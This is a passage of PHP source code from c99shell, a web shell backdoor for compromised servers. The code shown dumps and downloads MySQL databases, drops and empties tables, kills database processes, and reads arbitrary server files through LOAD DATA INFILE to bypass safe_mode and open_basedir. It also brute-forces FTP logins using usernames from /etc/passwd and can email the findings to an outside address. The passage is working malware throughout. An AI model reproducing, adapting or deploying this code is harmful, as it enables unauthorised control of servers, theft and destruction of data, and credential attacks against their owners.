  1079.      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  1080.      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1081.      $v = join (";",$dmptbls);
  1082.      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1083.      if ($dump_file) {$tmp = $dump_file;}
  1084.      else {$tmp = htmlspecialchars("./dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1085.      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1086.      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1087.      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1088.      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1089.      echo "</form>";
  1090.     }
  1091.     else
  1092.     {
  1093.      $diplay = true;
  1094.      $set = array();
  1095.      $set["sock"] = $sql_sock;
  1096.      $set["db"] = $sql_db;
  1097.      $dump_out = "download";
  1098.      $set["print"] = 0;
  1099.      $set["nl2br"] = 0;
  1100.      $set[""] = 0;
  1101.      $set["file"] = $dump_file;
  1102.      $set["add_drop"] = true;
  1103.      $set["onlytabs"] = array();
  1104.      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1105.      $ret = mysql_dump($set);
  1106.      if ($sql_dump_download)
  1107.      {
  1108.       @ob_clean();
  1109.       header("Content-type: application/octet-stream");
  1110.       header("Content-length: ".strlen($ret));
  1111.       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1112.       echo $ret;
  1113.       exit;
  1114.      }
  1115.      elseif ($sql_dump_savetofile)
  1116.      {
  1117.       $fp = fopen($sql_dump_file,"w");
  1118.       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1119.       else
  1120.       {
  1121.        fwrite($fp,$ret);
  1122.        fclose($fp);
  1123.        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1124.       }
  1125.      }
  1126.      else {echo "<b>Dump: nothing to do!</b>";}
  1127.     }
  1128.    }
  1129.    if ($diplay)
  1130.    {
  1131.     if (!empty($sql_tbl))
  1132.     {
  1133.      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  1134.      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1135.      $count_row = mysql_fetch_array($count);
  1136.      mysql_free_result($count);    
  1137.      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1138.      $tbl_struct_fields = array();
  1139.      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}    
  1140.      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1141.      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1142.      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1143.      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1144.      $perpage = $sql_tbl_le - $sql_tbl_ls;
  1145.      if (!is_numeric($perpage)) {$perpage = 10;}
  1146.      $numpages = $count_row[0]/$perpage;
  1147.      $e = explode(" ",$sql_order);
  1148.      if (count($e) == 2)
  1149.      {
  1150.       if ($e[0] == "d") {$asc_desc = "DESC";}
  1151.       else {$asc_desc = "ASC";}
  1152.       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1153.      }
  1154.      else {$v = "";}
  1155.      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1156.      $result = mysql_query($query) or print(mysql_smarterror());
  1157.      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1158.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1159.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1160.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1161.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1162.      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1163.      if ($sql_tbl_act == "insert")
  1164.      {
  1165.       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1166.       if (!empty($sql_tbl_insert_radio))
  1167.       {
  1168.  
  1169.       }
  1170.       else
  1171.       {
  1172.        echo "<br><br><b>Inserting row into table:</b><br>";
  1173.        if (!empty($sql_tbl_insert_q))
  1174.        {
  1175.         $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1176.         $sql_query .= " WHERE".$sql_tbl_insert_q;
  1177.         $sql_query .= " LIMIT 1;";
  1178.         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1179.         $values = mysql_fetch_assoc($result);
  1180.         mysql_free_result($result);
  1181.        }
  1182.        else {$values = array();}
  1183.        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1184.        foreach ($tbl_struct_fields as $field)
  1185.        {
  1186.         $name = $field["Field"];
  1187.         if (empty($sql_tbl_insert_q)) {$v = "";}
  1188.         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1189.         $i++;
  1190.        }
  1191.        echo "</table><br>";
  1192.        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1193.        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1194.        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  1195.       }
  1196.      }
  1197.      if ($sql_tbl_act == "browse")
  1198.      {
  1199.       $sql_tbl_ls = abs($sql_tbl_ls);
  1200.       $sql_tbl_le = abs($sql_tbl_le);
  1201.       echo "<hr size=\"1\" noshade>";
  1202.       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  1203.       $b = 0;
  1204.       for($i=0;$i<$numpages;$i++)
  1205.       {
  1206.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1207.        echo $i;
  1208.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1209.        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1210.        else {echo "&nbsp;";}
  1211.       }
  1212.       if ($i == 0) {echo "empty";}
  1213.       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  1214.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
  1215.       echo "<tr>";
  1216.       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1217.       for ($i=0;$i<mysql_num_fields($result);$i++)
  1218.       {
  1219.        $v = mysql_field_name($result,$i);
  1220.        if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1221.        else {$s = "a"; $m = "desc";}
  1222.        echo "<td>";
  1223.        if (empty($e[0])) {$e[0] = "a";}
  1224.        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1225.        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1226.        echo "</td>";
  1227.       }
  1228.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  1229.       echo "</tr>";
  1230.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1231.       {
  1232.        echo "<tr>";
  1233.        $w = "";
  1234.        $i = 0;
  1235.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1236.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1237.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1238.        $i = 0;
  1239.        foreach ($row as $k=>$v)
  1240.        {
  1241.         $v = htmlspecialchars($v);
  1242.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  1243.         echo "<td>".$v."</td>";
  1244.         $i++;
  1245.        }
  1246.        echo "<td>";
  1247.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  1248.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  1249.        echo "</td>";
  1250.        echo "</tr>";
  1251.       }
  1252.       mysql_free_result($result);
  1253.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1254.       echo "<option value=\"\">With selected:</option>";
  1255.       echo "<option value=\"deleterow\">Delete</option>";
  1256.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1257.      }
  1258.     }
  1259.     else
  1260.     {
  1261.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1262.      if (!$result) {echo mysql_smarterror();}
  1263.      else
  1264.      {
  1265.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1266.       $i = 0;
  1267.       $tsize = $trows = 0;
  1268.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1269.       {
  1270.        $tsize += $row["Data_length"];
  1271.        $trows += $row["Rows"];
  1272.        $size = view_size($row["Data_length"]);
  1273.        echo "<tr>";
  1274.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1275.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1276.        echo "<td>".$row["Rows"]."</td>";
  1277.        echo "<td>".$row["Type"]."</td>";
  1278.        echo "<td>".$row["Create_time"]."</td>";
  1279.        echo "<td>".$row["Update_time"]."</td>";
  1280.        echo "<td>".$size."</td>";
  1281.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  1282.        echo "</tr>";
  1283.        $i++;
  1284.       }
  1285.       echo "<tr bgcolor=\"000000\">";
  1286.       echo "<td><center><b>»</b></center></td>";
  1287.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  1288.       echo "<td><b>".$trows."</b></td>";
  1289.       echo "<td>".$row[1]."</td>";
  1290.       echo "<td>".$row[10]."</td>";
  1291.       echo "<td>".$row[11]."</td>";
  1292.       echo "<td><b>".view_size($tsize)."</b></td>";
  1293.       echo "<td></td>";
  1294.       echo "</tr>";
  1295.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1296.       echo "<option value=\"\">With selected:</option>";
  1297.       echo "<option value=\"tbldrop\">Drop</option>";
  1298.       echo "<option value=\"tblempty\">Empty</option>";
  1299.       echo "<option value=\"tbldump\">Dump</option>";
  1300.       echo "<option value=\"tblcheck\">Check table</option>";
  1301.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  1302.       echo "<option value=\"tblrepair\">Repair table</option>";
  1303.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  1304.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1305.       mysql_free_result($result);
  1306.      }
  1307.     }
  1308.    }
  1309.    }
  1310.   }
  1311.   else
  1312.   {
  1313.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1314.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  1315.    if (!empty($sql_act))
  1316.    {
  1317.     echo "<hr size=\"1\" noshade>";
  1318.     if ($sql_act == "newdb")
  1319.     {
  1320.      echo "<b>";
  1321.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1322.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1323.     }
  1324.     if ($sql_act == "serverstatus")
  1325.     {
  1326.      $result = mysql_query("SHOW STATUS", $sql_sock);
  1327.      echo "<center><b>Server-status variables:</b><br><br>";
  1328.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1329.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1330.      echo "</table></center>";
  1331.      mysql_free_result($result);
  1332.     }
  1333.     if ($sql_act == "servervars")
  1334.     {
  1335.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1336.      echo "<center><b>Server variables:</b><br><br>";
  1337.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1338.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1339.      echo "</table>";
  1340.      mysql_free_result($result);
  1341.     }
  1342.     if ($sql_act == "processes")
  1343.     {
  1344.      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  1345.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1346.      echo "<center><b>Processes:</b><br><br>";
  1347.      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1348.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1349.      echo "</table>";
  1350.      mysql_free_result($result);
  1351.     }
  1352.     if ($sql_act == "getfile")
  1353.     {
  1354.      $tmpdb = $sql_login."_tmpdb";
  1355.      $select = mysql_select_db($tmpdb);
  1356.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1357.      if ($select)
  1358.      {
  1359.       $created = false;
  1360.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1361.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1362.       $result = mysql_query("SELECT * FROM tmp_file;");
  1363.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1364.       else
  1365.       {
  1366.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1367.        $f = "";
  1368.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1369.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1370.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1371.        mysql_free_result($result);
  1372.        mysql_query("DROP TABLE tmp_file;");
  1373.       }
  1374.      }
  1375.      mysql_drop_db($tmpdb); //comment it if you want to leave database
  1376.     }
  1377.    }
  1378.   }
  1379.  }
  1380.  echo "</td></tr></table>";
  1381.  if ($sql_sock)
  1382.  {
  1383.   $affected = @mysql_affected_rows($sql_sock);
  1384.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1385.   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
  1386.  }
  1387.  echo "</table>";
  1388. }
  1389. if ($act == "mkdir")
  1390. {
  1391.  if ($mkdir != $d)
  1392.  {
  1393.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  1394.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  1395.   echo "<br><br>";
  1396.  }
  1397.  $act = $dspact = "ls";
  1398. }
  1399. if ($act == "ftpquickbrute")
  1400. {
  1401.  echo "<b>Ftp Quick brute:</b><br>";
  1402.  if (!win) {echo "This functions not work in Windows!<br><br>";}
  1403.  else
  1404.  {
  1405.   function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  1406.   {
  1407.    if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));}
  1408.    else {$true = true;}
  1409.    if ($true)
  1410.    {
  1411.     $sock = @ftp_connect($host,$port,$timeout);
  1412.     if (@ftp_login($sock,$login,$pass))
  1413.     {
  1414.      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1415.      ob_flush();
  1416.      return true;
  1417.     }
  1418.    }
  1419.   }
  1420.   if (!empty($submit))
  1421.   {
  1422.    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1423.    $fp = fopen("/etc/passwd","r");
  1424.    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1425.    else
  1426.    {
  1427.     if ($fqb_logging)
  1428.     {
  1429.      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1430.      else {$fqb_logfp = false;}
  1431.      $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1432.      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1433.     }
  1434.     ob_flush();
  1435.     $i = $success = 0;
  1436.     $ftpquick_st = getmicrotime();
  1437.     while(!feof($fp))
  1438.     {
  1439.      $str = explode(":",fgets($fp,2048));
  1440.      if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  1441.      {
  1442.       echo "<b>Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1443.       $fqb_log .= "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1444.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1445.       $success++;
  1446.       ob_flush();
  1447.      }
  1448.      if ($i > $fqb_lenght) {break;}
  1449.      $i++;
  1450.     }
  1451.     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1452.     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1453.     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=\"green\"><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1454.     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1455.     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1456.     if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
  1457.     fclose($fqb_logfp);
  1458.    }
  1459.   }
  1460.   else
  1461.   {
  1462.    $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1463.    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1464.    echo "<form method=\"POST\"><br>Read first: <input type=\"text\" name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Brute\"></form>";
  1465.   }
  1466.  }
  1467. }
  1468. if ($act == "d")
  1469. {
  1470.  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  1471.  else
  1472.  {
  1473.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1474.   if (!$win)
  1475.   {
  1476.    echo "<tr><td><b>Owner/Group</b></td><td> ";      
  1477.    $tmp = posix_getpwuid(fileowner($d));
  1478.    if ($tmp["name"] == "") {echo fileowner($d)."/";}
  1479.    else {echo $tmp["name"]."/";}
  1480.    $tmp = posix_getgrgid(filegroup($d));
  1481.    if ($tmp["name"] == "") {echo filegroup($d);}
  1482.    else {echo $tmp["name"];}
  1483.   }
  1484.   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  1485.  }
  1486. }
  1487. if ($act == "phpinfo") {@ob_clean(); phpinfo(); exit;}
  1488. if ($act == "security")
  1489. {
  1490.  echo "<center><b>Server security information:</b></center><b>Software:</b> ".PHP_OS.", ".$SERVER_SOFTWARE."<br><b>Safe-Mode: ".$hsafemode."</b><br><b>Open base dir: ".$hopenbasedir."</b><br>";
  1491.  if (!$win)
  1492.  {
  1493.   if ($nixpasswd)
  1494.   {
